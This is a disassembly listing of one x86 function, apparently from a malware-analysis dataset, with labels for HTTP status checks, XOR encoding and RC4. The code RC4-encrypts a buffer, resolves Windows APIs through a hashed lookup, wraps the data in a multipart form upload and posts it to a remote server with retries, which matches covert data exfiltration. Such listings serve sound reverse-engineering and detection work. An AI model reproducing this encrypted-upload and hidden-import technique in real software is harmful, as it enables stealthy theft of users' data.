Function at 0x40eff0
Capabilities:
Check http status code
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x188
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x16c], ecx
movzx ecx, byte [0xb249c8]
imul ecx, ecx, 0x1010101
mov dword [ebp - 0x188], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
mov dword [ebp - 0x174], eax
mov eax, 5
push esi
mov dword [ebp - 0x184], edx
mov edx, 8
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], ecx
mov ecx, eax
push edi
mov dword [ebp - 0x164], ebx
mov dword [ebp - 0x178], eax
call fcn.0040eda0
mov edi, eax
test edi, edi
jle 0x40f130
xor edx, edx
mov dword [ebp - 0x10], 0x6f696561
xor esi, esi
mov word [ebp - 0xc], 0x75
mov cl, 0x61
nop word [eax + eax]
xor eax, eax
cmp cl, byte [ebp + eax - 0x10]
je 0x40f095
inc eax
cmp eax, 5
jb 0x40f082
mov byte [ebp + esi - 0x40], cl
inc esi
jmp 0x40f09a
mov byte [ebp + edx - 0x18], cl
inc edx
inc cl
cmp cl, 0x7a
jle 0x40f080
mov byte [ebp + edx - 0x18], 0
mov ecx, 0xab6d07
mov edx, 0x5702107
mov byte [ebp + esi - 0x40], 0
call fcn.0040eda0
mov esi, eax
mov eax, 0x30c30c31
imul esi
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
imul eax, ecx, 0x15
mov ecx, esi
sub ecx, eax
mov bl, byte [ebp + ecx - 0x40]
lea eax, [ebx - 0x20]
lea edx, [ebx - 0x61]
movzx ecx, al
cmp dl, 0x19
movzx eax, bl
cmova ecx, eax
mov byte [ebp - 0x28], cl
mov ecx, 1
cmp edi, ecx
jle 0x40f125
lea ebx, [ecx + 0x14]
nop dword [eax]
mov eax, esi
sar eax, cl
cdq
test cl, 1
jne 0x40f112
idiv ebx
mov al, byte [ebp + edx - 0x40]
jmp 0x40f11c
idiv dword [ebp - 0x178]
mov al, byte [ebp + edx - 0x18]
mov byte [ebp + ecx - 0x28], al
inc ecx
cmp ecx, edi
jl 0x40f100
mov ebx, dword [ebp - 0x164]
mov byte [ebp + edi - 0x28], 0
movzx ecx, byte [0xb249c8]
lea edx, [ebp - 0x48]
imul ecx, ecx, 0x1010101
mov esi, 0xae42b0
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], ecx
test cl, cl
je 0x40f167
inc edx
cmp byte [edx], 0
jne 0x40f161
sub edx, 0xae42b0
nop dword [eax]
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [edx + esi - 1], al
test al, al
jne 0x40f170
lea edx, [ebp - 0x28]
lea ecx, [ebp - 0x48]
cmp byte [ebp - 0x48], al
je 0x40f18e
inc ecx
cmp byte [ecx], 0
jne 0x40f188
lea eax, [ebp - 0x28]
sub ecx, eax
mov al, byte [edx]
lea edx, [edx + 1]
mov byte [ecx + edx - 1], al
test al, al
jne 0x40f193
xor esi, esi
cmp byte [ebp - 0x48], al
je 0x40f1af
inc esi
cmp byte [ebp + esi - 0x48], 0
jne 0x40f1a7
mov dword [ebp - 0x150], ebx
test ebx, ebx
je 0x40f28e
xor eax, eax
nop
mov byte [ebp + eax - 0x14c], al
inc eax
cmp eax, 0x100
jb 0x40f1c0
mov dword [ebp - 0x158], 0
xor edi, edi
nop dword [eax + eax]
mov eax, edi
mov bl, byte [ebp + edi - 0x14c]
xor edx, edx
movzx ecx, bl
div esi
movzx eax, byte [ebp + edx - 0x48]
add eax, dword [ebp - 0x158]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x158], ecx
mov al, byte [ebp + ecx - 0x14c]
mov byte [ebp + edi - 0x14c], al
inc edi
mov byte [ebp + ecx - 0x14c], bl
cmp edi, 0x100
jb 0x40f1e0
mov esi, dword [ebp - 0x174]
xor edi, edi
mov eax, dword [ebp - 0x150]
xor ebx, ebx
dec eax
lea esi, [esi + 1]
mov dword [ebp - 0x150], eax
lea eax, [ebx + 1]
movzx ebx, al
mov dl, byte [ebp + ebx - 0x14c]
movzx eax, dl
add eax, edi
movzx edi, al
movzx eax, byte [ebp + edi - 0x14c]
mov byte [ebp + ebx - 0x14c], al
mov byte [ebp + edi - 0x14c], dl
movzx ecx, byte [ebp + ebx - 0x14c]
movzx eax, dl
add ecx, eax
movzx eax, cl
movzx eax, byte [ebp + eax - 0x14c]
xor byte [esi - 1], al
mov eax, dword [ebp - 0x150]
test eax, eax
jne 0x40f234
xor ebx, ebx
mov dword [ebp - 0x178], 0
mov ecx, 0x400
mov dword [ebp - 0x18], 0
xor edi, edi
mov dword [ebp - 0x160], ebx
call fcn.004047a0
mov esi, eax
mov ecx, 0x400
mov dword [ebp - 0x15c], esi
call fcn.004047a0
mov ecx, 0x800
mov dword [ebp - 0x154], eax
call fcn.004047a0
mov ecx, 0x800
mov dword [ebp - 0x158], eax
call fcn.004047a0
mov dword [ebp - 0x150], eax
test esi, esi
je 0x40f776
cmp dword [ebp - 0x154], ebx
je 0x40f76f
cmp dword [ebp - 0x158], ebx
je 0x40f76f
test eax, eax
je 0x40f76f
mov edx, 0x5702107
mov ecx, 0xab6d07
call fcn.0040eda0
mov esi, eax
lea ecx, [edi + 0x38]
lea eax, [ebp - 0x28]
mov edx, 0x10e
push eax
push esi
push str.______Boundary_lu_r_nContent_Disposition:_form_data__name_file___filename__s.bin__r_nContent_Type:_application_octet_stream_r_n_r_n
push 0x400
push dword [ebp - 0x15c]
call fcn.00410740
call eax
add esp, 0x14
lea ecx, [edi + 0x38]
mov edx, 0x10e
push esi
push str._r_n______Boundary_lu___r_n
push 0x400
push dword [ebp - 0x154]
call fcn.00410740
call eax
add esp, 0x10
lea ecx, [edi + 0x38]
mov edx, 0x10f
push esi
push str.Content_Type:_multipart_form_data__boundary____Boundary_lu
push 0x400
push dword [ebp - 0x158]
call fcn.00410740
call eax
mov esi, dword [ebp - 0x15c]
xor ecx, ecx
add esp, 0x10
mov dword [ebp - 0x168], ebx
mov dword [ebp - 0x180], ebx
mov dword [ebp - 0x17c], ebx
cmp byte [esi], cl
je 0x40f3b6
nop
inc ecx
cmp byte [ecx + esi], bl
jne 0x40f3b0
mov edx, dword [ebp - 0x154]
xor eax, eax
cmp byte [edx], al
je 0x40f3c8
inc eax
cmp byte [eax + edx], bl
jne 0x40f3c2
add eax, dword [ebp - 0x164]
add eax, ecx
mov ecx, eax
mov dword [ebp - 0x170], eax
call fcn.004047a0
mov dword [ebp - 0x160], eax
test eax, eax
je 0x40f76f
xor ecx, ecx
cmp byte [esi], cl
je 0x40f3f7
inc ecx
cmp byte [ecx + esi], bl
jne 0x40f3f1
mov edx, esi
test ecx, ecx
je 0x40f415
mov esi, eax
sub esi, edx
mov al, byte [edx]
lea edx, [edx + 1]
mov byte [esi + edx - 1], al
sub ecx, 1
jne 0x40f401
mov esi, dword [ebp - 0x15c]
xor eax, eax
cmp byte [esi], al
je 0x40f426
nop dword [eax + eax]
inc eax
cmp byte [eax + esi], bl
jne 0x40f420
mov edx, dword [ebp - 0x164]
mov ecx, edx
test edx, edx
je 0x40f45c
mov edx, dword [ebp - 0x174]
sub eax, edx
mov esi, dword [ebp - 0x160]
add esi, eax
mov al, byte [edx]
lea edx, [edx + 1]
mov byte [esi + edx - 1], al
sub ecx, 1
jne 0x40f442
mov esi, dword [ebp - 0x15c]
mov edx, dword [ebp - 0x164]
mov eax, dword [ebp - 0x154]
xor ecx, ecx
cmp byte [eax], cl
je 0x40f46e
inc ecx
cmp byte [ecx + eax], bl
jne 0x40f468
xor eax, eax
cmp byte [esi], al
je 0x40f47a
inc eax
cmp byte [eax + esi], bl
jne 0x40f474
mov esi, dword [ebp - 0x154]
test ecx, ecx
je 0x40f49e
sub edx, esi
add edx, eax
add edx, dword [ebp - 0x160]
nop
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [edx + esi - 1], al
sub ecx, 1
jne 0x40f490
mov esi, dword [ebp - 0x170]
mov edx, 0x10f
push esi
push 0xa663a8
push 0x400
push dword [ebp - 0x150]
mov ecx, 0x38
call fcn.00410740
call eax
mov ecx, dword [ebp - 0x16c]
add esp, 0x10
mov edx, 0xa667a8
call fcn.0040f830
mov ecx, dword [ebp - 0x16c]
neg eax
mov edx, 0xa667a8
sbb eax, eax
and eax, 0xfffffe95
add eax, 0x1bb
movzx eax, ax
mov dword [ebp - 0x174], eax
call fcn.0040f830
neg eax
sbb eax, eax
and eax, 0xff800000
add eax, 0x800100
mov dword [ebp - 0x164], eax
nop dword [eax]
nop dword [eax + eax]
push 0x7d0
mov edx, 0x192
mov ecx, 0x34
call fcn.00410740
call eax
push 0
push 0
mov edx, 0xb6
push 0
push 0
push 0xa675a8
lea ecx, [edx - 0x7b]
call fcn.00410740
call eax
mov dword [ebp - 0x178], eax
test eax, eax
je 0x40f818
push 0
push dword [ebp - 0x174]
mov edx, 0xb7
push dword [ebp - 0x184]
push eax
lea ecx, [edx - 0x7c]
call fcn.00410740
call eax
mov dword [ebp - 0x18], eax
test eax, eax
je 0x40f818
push dword [ebp - 0x164]
mov edx, 0xb8
push 0
push 0
push 0
push dword [ebp - 0x188]
lea ecx, [edx - 0x7d]
push 0xa651a8
push eax
call fcn.00410740
call eax
mov edi, eax
test edi, edi
je 0x40f818
push 4
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x927c0
push eax
push 5
push edi
mov edx, 0x198
mov ecx, 0x3b
call fcn.00410740
call eax
test eax, eax
je 0x40f818
push 0x20000000
push 0xffffffffffffffff
push dword [ebp - 0x158]
mov edx, 0xb9
push edi
lea ecx, [edx - 0x7e]
call fcn.00410740
call eax
test eax, eax
je 0x40f818
push 0
push esi
push esi
push dword [ebp - 0x160]
mov edx, 0xba
push 0xffffffffffffffff
push dword [ebp - 0x150]
push edi
lea ecx, [edx - 0x7f]
call fcn.00410740
call eax
mov ebx, eax
test ebx, ebx
je 0x40f818
mov edx, 0xbb
push 0
push edi
lea ecx, [edx - 0x80]
call fcn.00410740
call eax
mov ebx, eax
test ebx, ebx
je 0x40f818
push 0
lea eax, [ebp - 0x16c]
mov dword [ebp - 0x16c], 4
push eax
lea eax, [ebp - 0x168]
mov edx, 0xbe
push eax
push 0
push 0x20000013
push edi
mov ecx, 0x3b
call fcn.00410740
call eax
mov eax, dword [ebp - 0x168]
cmp eax, 0xc8
je 0x40f74c
mov esi, dword [ebp - 0x17c]
nop word [eax + eax]
cmp esi, 3
jge 0x40f746
push 0x7d0
mov edx, 0x192
mov ecx, 0x34
call fcn.00410740
call eax
mov eax, dword [ebp - 0x170]
mov edx, 0xba
push 0
push eax
push eax
push dword [ebp - 0x160]
lea ecx, [edx - 0x7f]
push 0xffffffffffffffff
push dword [ebp - 0x150]
push edi
call fcn.00410740
call eax
mov ebx, eax
inc esi
mov dword [ebp - 0x17c], esi
test ebx, ebx
je 0x40f735
mov edx, 0xbb
push 0
push edi
lea ecx, [edx - 0x80]
call fcn.00410740
call eax
mov ebx, eax
test ebx, ebx
je 0x40f735
push 0
lea eax, [ebp - 0x16c]
mov edx, 0xbe
push eax
lea eax, [ebp - 0x168]
mov ecx, 0x3b
push eax
push 0
push 0x20000013
push edi
call fcn.00410740
call eax
mov eax, dword [ebp - 0x168]
cmp eax, 0xc8
jne 0x40f6a0
mov esi, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x180]
inc ecx
mov dword [ebp - 0x180], ecx
cmp eax, 0xc8
je 0x40f769
cmp ecx, 0x3c
jl 0x40f520
mov esi, dword [ebp - 0x15c]
mov ecx, esi
call fcn.00404850
mov eax, dword [ebp - 0x154]
test eax, eax
je 0x40f787
mov ecx, eax
call fcn.00404850
mov eax, dword [ebp - 0x158]
test eax, eax
je 0x40f798
mov ecx, eax
call fcn.00404850
mov eax, dword [ebp - 0x150]
test eax, eax
je 0x40f7a9
mov ecx, eax
call fcn.00404850
mov eax, dword [ebp - 0x160]
test eax, eax
je 0x40f7ba
mov ecx, eax
call fcn.00404850
test edi, edi
je 0x40f7d0
push edi
mov edx, 0xc0
mov ecx, 0x3b
call fcn.00410740
call eax
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x40f7e9
push eax
mov edx, 0xc0
mov ecx, 0x3b
call fcn.00410740
call eax
mov eax, dword [ebp - 0x178]
test eax, eax
je 0x40f805
push eax
mov edx, 0xc0
mov ecx, 0x3b
call fcn.00410740
call eax
mov ecx, dword [ebp - 8]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041084f
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x168]
jmp 0x40f74c